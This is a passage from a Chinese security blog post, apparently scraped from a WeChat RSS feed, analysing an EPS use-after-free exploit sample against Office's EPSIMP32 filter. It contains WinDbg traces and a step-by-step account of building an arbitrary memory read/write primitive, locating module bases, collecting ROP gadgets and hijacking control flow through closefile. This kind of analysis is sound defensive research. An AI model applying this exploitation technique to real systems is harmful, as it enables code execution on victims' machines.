data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.21079691516709512" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1167" src="https://wechat2rss.xlab.app/img-proxy/?k=9089a0f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPa83vicJ7FpmgQ4P653ADd5rG3EGyia6d4LXkmWFfjhhnzvJAniapu7SzWw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接着循环获取 string 中的每一个元素并执行函数：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.3873994638069705" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="746" src="https://wechat2rss.xlab.app/img-proxy/?k=567d4aff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPaHdza23icCM0pD5nt9IKaPZEQyyYwHic9icx15FiamlmzyyDfYoqVeTTEwg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此时传入 deferred_exec 的参数为 eax，查看传入参数：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibicyvcX28HArP7lp4chibx7m32DoeIia6ZzibfVmuKcObH4StpSKCHko2HiaK6KRsDBm8p9zP01YibqdfC5tOTro0vpfr/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0:000&gt; bp EPSIMP32+2ba06          //call    deferred_exec<br/>0:000&gt; g<br/>Breakpoint 1 hit<br/>eax=0018fd78 ebx=00000000 ecx=00291280 edx=00000001 esi=00425770 edi=00000000<br/>eip=718fba06 esp=0018fd54 ebp=0018fdbc iopl=0         nv up ei pl nz na po nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202<br/>EPSIMP32!RegisterPercentCallback+0x4604:<br/>718fba06 e8d8abffff      call    deferred_exec (718f65e3)<br/>0:000&gt; dd eax L4        //查看传入的参数为数组<br/>0018fd78  00030000 00000000 0049ea98 0048f40c<br/>0:000&gt; dd poi(poi(poi(poi(poi( 0018fd78 +c))+24))+28)   //查看数组中存储的内容<br/>0049e2c0  00000500 00000100 00495408 0048ee98   //数组中存放着字符串对象<br/>0049e2d0  12d85688 8000f194 00000020 00000100<br/>0049e2e0  0049dc40 0048f198 12d8568f 80000000<br/>0049e2f0  00490023 000007c8 00000300 00000100<br/>0049e300  12d856b2 8000f19c 00000026 00000100<br/>0049e310  0049dc60 0048f1a0 12d856b1 80000100<br/>0049e320  00420029 0048f1a4 00000003 00000000<br/>0049e330  12d856b4 80000080 0000002c 00000100<br/>0:000&gt; db poi(poi(poi(poi(poi( 0049e2c0 +c))+24))+20) L10   //查看字符串的内容为l56 cvx <span style="color: #e6c07b;line-height: 26px;">exec</span><br/>00495940  20 6c 35 36 20 63 76 78-20 65 78 65 63 20 00 00   l56 cvx <span style="color: #e6c07b;line-height: 26px;">exec</span> ..<br/>0:000&gt; g        //第二次执行deferred_exec<br/>(5c8.144): C++ EH exception - code e06d7363 (first chance)<br/>(5c8.144): C++ EH exception - code e06d7363 (first chance)<br/>Breakpoint 1 hit<br/>eax=0018fd78 ebx=00000000 ecx=00291280 edx=00000003 esi=00425770 edi=00000001<br/>eip=718fba06 esp=0018fd54 ebp=0018fdbc iopl=0         nv up ei pl nz na pe nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206<br/>EPSIMP32!RegisterPercentCallback+0x4604:<br/>718fba06 e8d8abffff      call    EPSIMP32+0x265e3 (718f65e3)<br/>0:000&gt; dd poi(poi(poi(poi(poi( 0018fd78 +c))+24))+28)   //查看数组的内容<br/>0049e2c0  00000500 00000100 00495438 0048eeac   //数组中存放着字符串对象<br/>0049e2d0  12d85688 8000f194 00000020 00000100<br/>0049e2e0  0049dc40 0048f198 12d8568f 80000000<br/>0049e2f0  00490023 000007c8 00000300 00000100<br/>0049e300  12d856b2 8000f19c 00000026 00000100<br/>0049e310  0049dc60 0048f1a0 12d856b1 80000100<br/>0049e320  00420029 0048f1a4 00000003 00000000<br/>0049e330  12d856b4 80000080 0000002c 00000100<br/>0:000&gt; db poi(poi(poi(poi(poi( 0049e2c0 +c))+24))+20) L10   //查看字符串的内容为l53 cvx <span style="color: #e6c07b;line-height: 26px;">exec</span><br/>00495958  20 6c 35 33 20 63 76 78-20 65 78 65 63 20 00 00   l53 cvx <span style="color: #e6c07b;line-height: 26px;">exec</span> ..<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">从调试的结果可以得知，该函数执行的正是 forall。在第一次执行时，l61 中待执行的命令是<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">l56 cvx exec</code>，在第二次执行时，l61 中的内容已经被换成了<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">l53 cvx exec</code>与调试结果相符。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接着深入函数分析，发现函数内部嵌套了 deferred_exec：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.14382978723404255" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1175" src="https://wechat2rss.xlab.app/img-proxy/?k=7290dcda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPaj6Ig7j2Tp5VSlFN19yiasqZSaAmErvHZHFJGkMFg4uhicLNvwodbLfbw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">于是重新调试，下断在此，分析参数：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.4030534351145038" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="655" src="https://wechat2rss.xlab.app/img-proxy/?k=4c94c5ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPaPuuHn3KUaI0m8ORmJef3uZsWkQrG7xmeI0b6rZJT1UoqVfbGzic765g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">虽然 type 为 0x10 的操作符对象存储在 Systemdict 中无法查看，但是通过其他字符和数字还是能够确定该语句就是 l50。当执行该语句后，原本 l63 指向的 string 结构将被替换成存放 l52 内容的 string 结构：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.5667485667485668" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1221" src="https://wechat2rss.xlab.app/img-proxy/?k=d31291f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPartYr9cNwRP63yZFSv6cia1IozGYEdhnwLTU1kqD1icVye7zmsT9qEPWw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以看到此时原本存放 l63 的 string 结构已经变成了 l52。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在 get 函数下断，跳转到 forall 下的<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/l64 l57 56 get def</code>语句查看 l57 的值：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.36338289962825276" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1076" src="https://wechat2rss.xlab.app/img-proxy/?k=0f3c9e91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPaMcJvJ0EMeQoVkk8kSDKVnicO4Rl8n9xyFe1JOiad97juwPuA1JcDMUBw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以证实 l57 中存放的就是从 l63 中获取到的字符，该 forall 的作用就是泄露被释放的 string 结构指向的字符串。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接着获取 l57 中的值，并进行一些处理，通过 ifelse 判断系统位数，若 l77 等于 l52 的长度+1，那么 l99 的值为 1 代表系统为 64 位，否则 l99 为 0，代表系统为 32 位：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.2878787878787879" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="792" src="https://wechat2rss.xlab.app/img-proxy/?k=54af1d38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPaXRIWetJ3CSSnrxCN55ZDjwSmKhb0XibGUSA78l1Hz7X0lTOzAOoEt4w%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以看到在 32 位的调试环境下，l77 的值为 0，因此会将 5 个 0 压入操作栈中，并赋值给 l95 到 l99：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.4779116465863454" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="498" src="https://wechat2rss.xlab.app/img-proxy/?k=082b713f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPa2QYsJuGic9YGoGplF1h2icHnEunJNpEagXezIT9t1Dy7SC4wAIkeibgTQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">至此，漏洞原理部分分析完毕，接下来分析漏洞利用部分。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>漏洞利用</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第二次执行 forall 代码如下：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.41724137931034483" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="870" src="https://wechat2rss.xlab.app/img-proxy/?k=537b02c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPa54aWN76vTI3ZdDVEsUfrMfken7h8bjicRCm9x50yHkicO8Yq7HUzQgYw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">和第一次执行十分类似，因此就不深入分析。查看执行完 forall 后 stringl63 的变化：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.15944399018806213" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1223" src="https://wechat2rss.xlab.app/img-proxy/?k=d79ab274&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPaTtG7QoCBvJ36OQAKHyibdp3kp8gozbmicKjVLERUlc4DrmNgmCF7YoVg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">查看 l63 中的值，发现是一个 string 结构，于是查看字符串，内容正是 l102 中存储的 l36 的字符串</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.1757188498402556" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="626" src="https://wechat2rss.xlab.app/img-proxy/?k=0a28372b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPanhGDguw2pBTJGjwPiatahKNO42kYhWibdEjb7MN6tqpgVPPsFRFnHmXg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接着通过<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">l90 0 l92 putinterval</code>将 l63 中指向的第一个 4 字节的内容改为 0x02b14ad4，该值指向 l36 中四字节之后的内容</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.37735849056603776" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="795" src="https://wechat2rss.xlab.app/img-proxy/?k=1686b287&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicParz4nZbru6xzfIBhGAhxBiauqXLe3t0hHYfsWau7Z0QkTvC3LfibtNUJA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">经过多次修改，字符串修改为如下状态，修改的值会在第三次漏洞触发时使用到：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.2064516129032258" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="620" src="https://wechat2rss.xlab.app/img-proxy/?k=77dec459&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPaUFvUt7phJGDSZuPjwjozibQJt4bk1wibpAWnJa0dB7XCGL7VNWMXnNlQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接着查看 l137 获取的是 l63 中 0x4 处的值，l138 获取的是 l63 中 0x20 处的值，l103 的值为 1</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.18188795088257867" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1303" src="https://wechat2rss.xlab.app/img-proxy/?k=65701f5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPaxVfcXmBUufTowwGD1Wun4Klsag90ykI0wF7nw3HUwt4KOvIFAVNiccw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第二次漏洞触发部分分析完毕，接下分析第三次漏洞触发构造读写原语的部分。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>构造读写原语<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">l142 中存储的是将 l138 放入到 l193 的 0x24 位置的后的字符串：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.3647746243739566" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1198" src="https://wechat2rss.xlab.app/img-proxy/?k=6b972e09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPa0u3icF5BtpEk4qbibJod2nVRbfpEMdqLXdwSo1yIpuFAHhI8yhMaFc8A%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接着使用 forall 操作符遍历 l63 数组，当遍历到第 54 个元素时，恢复快照。此时 array l63 被释放，接着复制 l142 字符串，使得 array l63 对象被 l142 字符串对象覆盖：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.2818574514038877" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="926" src="https://wechat2rss.xlab.app/img-proxy/?k=437a037d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPa1xP4nVbnIlbU5enGvsGLicbZ3icarNT0eGKryJzQCKNTibQXZbaWDticicw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此时查看被覆盖后的 l63 中最后一次会被获取的值：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.9460916442048517" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="371" src="https://wechat2rss.xlab.app/img-proxy/?k=ab9902b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPa4VMZj7G6DkyN7FKeLTiaACJviafLYyFseUXFicWQkdfB3g9YVVRIEfXsw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">说明最后一次会获取一个 array 对象，继续深入查看该对象发现存储了一个字符串，该字符串起始地址为 0x00000000，大小为 0x7fffffff：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.6701208981001727" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="579" src="https://wechat2rss.xlab.app/img-proxy/?k=d0310761&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPaUDgia88kdZlbRYUC1LPXq2A0X7zcWQNibSvyfMLviaaIUYvehzXe9BleQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过该字符串，可读写内存中 0x00000000-0x7fffffff 的任意地址，实现了读写原语的构造，最终将字符串对象存储在 l201 中。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>构建 ROP 链<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过字符串 l201 获取 EPSIMP32 的基地址为：0x74750000，并存入 l314 中：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.48738033072236725" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1149" src="https://wechat2rss.xlab.app/img-proxy/?k=aeea8c0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPa2uVk0cJiaqerq6nwZFgkrauzeuhwg57znwTzPmUe97SbGo1xTUT1DQg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接着通过 EPSIMP32 的导入表获取 kernel32.dll 的基地址并存放于 l315 中：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.39453125" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1536" src="https://wechat2rss.xlab.app/img-proxy/?k=a74e9c4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPaZOial6mycoAuBMZbPDiaf3ibialJPoMQm212aZIBDxOErrQj3ibnKb8BfGQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">随后开始利用读写原语搜索内存中的 gadget 用于构造 ROP 链：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.5896414342629482" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1004" src="https://wechat2rss.xlab.app/img-proxy/?k=fd2e82b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPaXtWXgWcfuWYs3FdfcS7tstOQ3ia5gNhbA6sFIj6aoNE7ickDCT7hjOiaQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">将构造好的 ROP 链放入伪造的文件对象中，并将对象放置在 l159 的 2 号元素中，将恶意 pe 文件和 shellcode 组成的字符串放置在 l159 的 3 号元素中：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.28654545454545455" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1375" src="https://wechat2rss.xlab.app/img-proxy/?k=c6cd24dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPazBIEYL1KRB7SG6JbPxQPMQ6c675Hp5RaKb085FjDIaFUA0seySjOtw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最终调用 closefile 操作符关闭伪造的文件对象，在关闭过程中会执行<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">call [eax+8]</code>使得跳转到构造好的 ROP 链中：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.22950819672131148" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1281" src="https://wechat2rss.xlab.app/img-proxy/?k=da208646&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD64zwUfyXTmE0VzbJmazicPaNmm0LPwzsavy0xIfb3R9cj7l6dzsBibZeiatmsGQgQAWDj7oN3QicHtyg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">至此，整个漏洞的原理和利用分析完毕，剩下的行为部分不再分析。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>总结</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">该样本漏洞利用的十分巧妙，通过 UAF 将原本正常的数组对象替换为指向构造好的能够读写任意内存的字符串对象。通过字符串对象实现了读写任意内存并构造 ROP 链的目的，并最终将构造好的 ROP 字符串对象修改为文件对象，利用 cloasefile 操作符跳转到 ROP 链中。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">尽管微软已经关闭了 Office 对于 EPS 文件的支持，但该格式文件仍然能被 Adobe Illustrator 打开，如果深入研究该类型文件可能仍有出现漏洞的可能。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>参考链接</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[1]
PostScript LANGUAGE REFERENCE: <em><a href="https://www.adobe.com/content/dam/acom/en/devnet/actionscript/articles/PLRM.pdf" target="_blank">https://www.adobe.com/content/dam/acom/en/devnet/actionscript/articles/PLRM.pdf</a></em></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[2]
eps-CVE-2017-0261: </p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><em><a href="https://github.com/kcufId/eps-CVE-2017-0261" target="_blank">https://github.com/kcufId/eps-CVE-2017-0261</a></em></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[3]
CVE-2017-0261及利用样本分析: </p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><em><a href="https://bbs.pediy.com/thread-261442.htm" target="_blank">https://bbs.pediy.com/thread-261442.htm</a></em></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">[4]
EPS Processing Zero-Days Exploited by Multiple Threat Actors: <em><a href="https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html" target="_blank">https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html</a></em></p></section><p><br/></p>



<p><a href="2247484109">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6cc9cc79&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247484109%26idx%3D1%26sn%3D8dfa5ad3c00a6a097823efa44a79a395%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 07 Sep 2021 12:46:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2017-11826 漏洞分析利用</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247484033&amp;idx=1&amp;sn=8c729692b301afce94f0d7abfa8f99c6</link>
      <description>CVE-2017-11826漏洞的分析与利用</description>
      <content:encoded><![CDATA[<p>
原创 <span>Joey</span> <span>2021-08-04 15:46</span> <span style="display: inline-block;"></span>
</p>

<p>CVE-2017-11826漏洞的分析与利用</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5a0413c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD7bpgz6epQoy7LnwI12DvgXxx1eKh3ErEBn1C3iadgHdLibspCWpytnCgG2TG7UVJNDRjtcKShYXuKw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


